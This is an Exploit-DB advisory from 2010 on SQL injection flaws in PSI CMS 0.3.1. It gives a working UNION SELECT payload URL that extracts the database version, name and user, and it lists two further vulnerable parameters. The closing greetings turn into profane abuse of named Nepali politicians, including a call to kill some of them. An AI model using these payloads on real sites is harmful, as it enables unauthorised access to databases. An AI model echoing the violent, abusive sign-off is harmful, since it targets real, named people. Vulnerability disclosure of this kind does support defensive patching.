PSI CMS 0.3.1 - SQL Injection

2010-01-13T00:00:00
ID EDB-ID:11135
Type exploitdb
Reporter learn3r hacker
Modified 2010-01-13T00:00:00

Description

PSI CMS v. 0.3.1 SQLi Vulns. Webapps exploit for php platform

                                        
                                            ###########################################
#       PSI CMS v. 0.3.1 SQLi Vulns       #
#       By learn3r hacker from nepal      #
#       damagicalhacker@gmail.com         #
###########################################

Product name: psi-cms
Product vendor: http://psi.tarakan.eu/

This product suffers from multiple SQLi...

[+] Exploits:

http://localhost/psi-cms-v.0.3.1/index.php?page=-1+union+all+select+1,2,concat(@@version,0x3a,database(),0x3a,user()),4,5,6/*

[+] Other SQLi:

http://localhost/psi-cms-v.0.3.1/index.php?subj=[SQL]
http://localhost/psi-cms-v.0.3.1/index.php?subpage=[SQL]



Greetz to: sToRm(Thanks a lot bro) and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar...
We need political stability and economic development in Nepal and you motherfuckers are terrorizing in the name of political parties. So BIG FUCK YOUs to all the political parties and leaders of Nepal.

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!